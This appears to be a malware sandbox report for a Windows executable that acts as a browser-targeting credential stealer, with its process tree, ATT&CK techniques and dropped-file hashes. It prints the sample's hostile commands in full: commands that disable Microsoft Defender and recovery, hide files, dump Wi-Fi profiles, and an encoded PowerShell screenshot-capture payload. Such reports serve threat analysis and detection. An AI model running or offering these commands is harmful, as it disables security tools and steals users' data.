PID 3284 wrote to memory of 2628	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	147
PID 2628 wrote to memory of 2780	2628	cmd.exe	148
PID 3284 wrote to memory of 4816	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	149
PID 4816 wrote to memory of 2776	4816	cmd.exe	150
PID 3284 wrote to memory of 3464	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	151
PID 3464 wrote to memory of 5020	3464	cmd.exe	152
PID 3284 wrote to memory of 5504	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	153
PID 5504 wrote to memory of 1684	5504	cmd.exe	154

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1692	attrib.exe
4348	attrib.exe
596	attrib.exe
5332	attrib.exe

C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
"C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 360chrome.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 360se.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3360
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq avant.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5916
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq avant.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4716
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq brave.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq brave.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4144
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5184
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq chrome.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5616
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq chromium.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5940
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq citrio.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4852
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq comodo_dragon.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4844
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq coolnovo.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq coowon.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2380
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5468
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq cyberfox.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4864
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq deepnet.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3420
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5376
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq dooble.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq epic.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq epic.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq firefox.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5644
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq iceweasel.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:772
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq iridium.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4304
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq k-meleon.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3500
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq maxthon.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq msedge.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq netscape.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq opera.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6140
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq opera.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1112
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq palemoon.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2440
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq safari.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq safari.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3556
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq seamonkey.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3176
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5524
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq sleipnir.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq sputnik.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq torch.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq torch.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq ucbrowser.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2780
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq vivaldi.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq waterfox.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5504
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq yandex.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1684
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2432
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq yandexbrowser.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- C:\Windows\system32\cmd.exe
  cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3960
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq operagx.exe"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3648
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
  2⤵
  - Views/modifies file attributes
  PID:5332
- C:\Windows\system32\reagentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:5780
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3364
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:1692
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:244
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2692
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:3496
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4380
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:1240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  PID:5752
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e1ne5rln\e1ne5rln.cmdline"
    3⤵
    PID:1884
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES89E7.tmp" "c:\Users\Admin\AppData\Local\Temp\e1ne5rln\CSC17664F38536F43989D917175E865D341.TMP"
      4⤵
      PID:2676
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:4348
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1356

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2884a8981cb6a70b9abd66968f9cb3f6b4cfecb3e4e57c429958241ddd87e5f8
MD5 0bebc0a57b10fb5c78171b9dd09be07a
SHA1 1bb5495041cb12a0c355b34d170a84038928baef
SHA512 685f0ed549b02d00314e9225f3541e98df25ca345bf536f52901b6cafcabbeea3fd14621acb32828ac392962e1a00877b9597c8280638fc15db3f3343ebca0be
TLSH
T152216833B3DD8625C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

RES89E7.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES89E7.tmp
Size 1KB
SHA256 3cf85f75b40c9f472ed4727a8f5552f5df3ff7254abd2580f761b0751b1fbd91
MD5 039b6419732466d91a7efc339cab309b
SHA1 5e21c93cdde38fee0c3e11255a9955dbdaeadc34
SHA512 d45dcc5dffebb548397e465eab37b93d815d88f970aadbad4148413037f18b6fed0fb33f2df96bc289e87119ec4035a9f46cfabda7850519f3664fdfee2c00d2
TLSH
T19821FC0953F98B1FF0B35731ADF6132FDA38FD14EFA2936A4400022C1C01244EEA1A76
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_s1ggz21k.2rz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s1ggz21k.2rz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\afOUzrOXGi\Display (1).png
Size 562KB
SHA256 fb1ea65209da38915237213bc45f52be68463047a1e08753ff71247f6fc2a338
MD5 383db1c2347bcd6fca030a6fe0a0f6b7
SHA1 8312b8be468b2d4a80385799752f9fa6cfe86c4e
SHA512 2ffe6f7873808e6d8ac75e85afce98861018487e23399db4984b6ab4c3f02e7b4c27a8ad2bd5fc8095f097f0199ee431549faa918738d95e68e42362f1960bdd
SSDEEP 12288:5ET66cKkGsK7vwiUc/+7vfR69Dyratxtnmb0aGdB5xUr:2tLrVBCp0qatxtnm+BLUr
TLSH
T176C4230DF6FE09689ECD667BC9186D865B71329FF22F940D842470A448627BCF36172B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e1ne5rln.dll

Path C:\Users\Admin\AppData\Local\Temp\e1ne5rln\e1ne5rln.dll
Size 4KB
SHA256 86200908678745ea91bbc923dff3c114908a3f0c3347b4d4993f43c957d3044a
MD5 9ec32e0baed749116edf3a5d28bcf00f
SHA1 bab230b37c9493dacf39d392edaaca7ce353ccd8
